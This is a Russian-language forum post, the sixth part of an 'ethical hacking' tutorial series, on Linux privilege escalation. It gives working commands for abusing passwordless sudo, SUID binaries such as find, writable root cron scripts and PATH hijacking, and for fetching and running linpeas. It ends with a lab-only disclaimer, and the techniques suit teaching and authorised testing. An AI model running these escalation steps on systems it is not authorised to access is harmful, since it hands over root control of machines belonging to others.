Путь этичного хакера – Часть [6] – Повышение привилегий, поиск SUID и cron-уязвимостей

HMCoba

Форумчанин
Регистрация
14.06.2025
Сообщения
20
Реакции
26
2ntes1t.png


🧠 Путь этичного хакера часть - 6

Повышение привилегий: поиск SUID и cron-уязвимостей



📌 Оглавление серии:

Часть 1 — Введение в этичный хакинг
Часть 2 — Установка Kali Linux и создание тестовой среды
Часть 3 — Тестирование уязвимостей веб-приложений
Часть 4 — Продвинутые атаки и анализ окружения
Часть 5 — Удалённый доступ и обратные подключения
Часть 6 — Повышение привилегий, поиск SUID и cron-уязвимостей
Часть 7 — Автоматизация атак с помощью Python и работа с Metasploit



Как получить полный контроль над системой ?
Если вы уже умеете находить уязвимости и получаете базовый доступ к системе — пора перехватить полный контроль.
Это и называется повышение привилегий (Privilege Escalation) — переход от ограниченного пользователя к root (полный доступ).


🧩 Что такое привилегии и зачем их повышать?
В Linux у каждого пользователя есть уровень прав:
  • Код:
    www-data
    — веб-сервер
  • Код:
    user
    — обычный пользователь
  • Код:
    root
    — администратор

Если вы попали как
Код:
www-data
, вы не можете:
  • Читать чужие файлы
  • Изменять настройки системы
  • Устанавливать программы

Наша цель — получить root-доступ и показать, как опасна уязвимость.

Этап 1: Узнаём, кто мы и где находимся
Полезные команды:

Код:
whoami
id
uname -a
hostname

Этап 2: Проверка прав через sudo
Код:
sudo -l
Если вывод:
Код:
(ALL) NOPASSWD: /bin/bash

Запускаем:
Код:
sudo /bin/bash
whoami
Если ответ:
Код:
root
— успех.

Этап 3: Поиск файлов с SUID-битами — что это и зачем искать
Когда файл имеет специальный флаг SUID (Set User ID), это значит, что он будет исполняться от имени владельца файла, а не пользователя, который его запускает.

🔥 Если такой файл принадлежит root и мы его можем запустить — он выполнится с root-привилегиями. Это может привести к полному захвату системы.

Команда для поиска всех таких файлов:
Код:
find / -perm -u=s -type f 2>/dev/null

📌 Пояснение:
/ — ищем по всей системе
-perm -u=s — фильтруем только SUID-файлы
-type f — только обычные файлы
2>/dev/null — скрываем сообщения об ошибке доступа к системным директориям

Обычные безопасные файлы:
Код:
/usr/bin/passwd
/usr/bin/sudo

Но если вы видите что-то необычное, например:
Код:
/usr/bin/find
/usr/bin/python
/usr/bin/vim
— это может быть потенциальной уязвимостью.

Пример: повышаем привилегии через find с SUID
Если find имеет root-SUID:
Код:
find . -exec /bin/sh \;
Теперь введите:
Код:
whoami
Если вывод:
Код:
root
— вы получили полный контроль.
---

Этап 4: Проверка cron-задач от root — что это и как использовать
🕒 Cron — это системный планировщик. Он запускает скрипты в указанное время. Если какой-то скрипт от root доступен для редактирования — вы можете изменить его и выполнить команду от имени root.

Команды для проверки всех cron-задач:
Код:
ls -la /etc/cron.*
cat /etc/crontab
crontab -l

Что искать:
– Скрипты, исполняемые от root
– Файлы, которые вы можете редактировать (есть права на запись)

Пример уязвимости:
Если видите:
Код:
* * * * * root /tmp/backup.sh
А файл /tmp/backup.sh можно изменить, замените его содержимое:
Код:
#!/bin/bash
/bin/bash

Сделайте файл исполняемым:
Код:
chmod +x /tmp/backup.sh

⏳ Через минуту cron выполнит скрипт — вы получите shell от root.

---

Этап 5: Уязвимые переменные окружения (PATH, LD_PRELOAD)
👣 Некоторые скрипты вызывают системные команды без указания полного пути, например:
Код:
cp important.txt /backup/
Если переменная $PATH подделана, скрипт выполнит вашу версию команды cp.

Пошаговая подмена команды cp:
1. Создайте фальшивый скрипт:
Код:
echo "/bin/bash" > cp
chmod +x cp

2. Добавьте текущую папку в PATH:
Код:
export PATH=.:$PATH

Теперь, когда вызовется cp — выполнится /bin/bash от имени того, кто вызвал скрипт. Если это root — вы получите root-доступ.

---

Этап 6: Автоматизированный поиск уязвимостей с linpeas
🧠 linpeas — скрипт, который автоматически ищет ВСЕ возможные векторы повышения привилегий: от SUID до уязвимостей ядра.

1. Скачиваем скрипт:
Код:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

2. Делаем его исполняемым:
Код:
chmod +x linpeas.sh

3. Запускаем:
Код:
./linpeas.sh

🧩 Скрипт покажет:
  • Файлы с SUID
  • Уязвимые cron-скрипты
  • Ошибки в PATH
  • Доступные эксплойты ядра
  • Плохие разрешения на конфигурационные файлы

Используйте Ctrl + F (или / в терминале) и ищите ключевые слова: SUID, cron, PATH, writable, exploitable.

---

✅ Как проверить, добились ли вы root-доступа:
Просто выполните:
Код:
whoami

Если результат:
Код:
root
— значит, вы полностью контролируете систему.

---

📌 Итоги урока:
Сегодня вы узнали:

  • Что такое привилегии и зачем их повышают
  • Как использовать sudo без пароля
  • Как найти SUID-файлы и использовать их
  • Как использовать cron-задачи для захвата системы
  • Как подделать команды через PATH
  • Как linpeas помогает найти слабые места

⚠️ Внимание:
Этот материал предназначен исключительно для учебных целей.
Любое несанкционированное проникновение в системы — незаконно и наказуемо по закону.
Работайте только в лабораторной среде или с письменного согласия владельца.

🔜 В следующей части:
  • Автоматизация атак с помощью Python
  • Первичный вход в Metasploit Framework

✉️ Напишите в комментариях, получилось ли у вас достичь root-доступа, и какие методы сработали!
 
Последнее редактирование:

Похожие темы

Назад
Верх Низ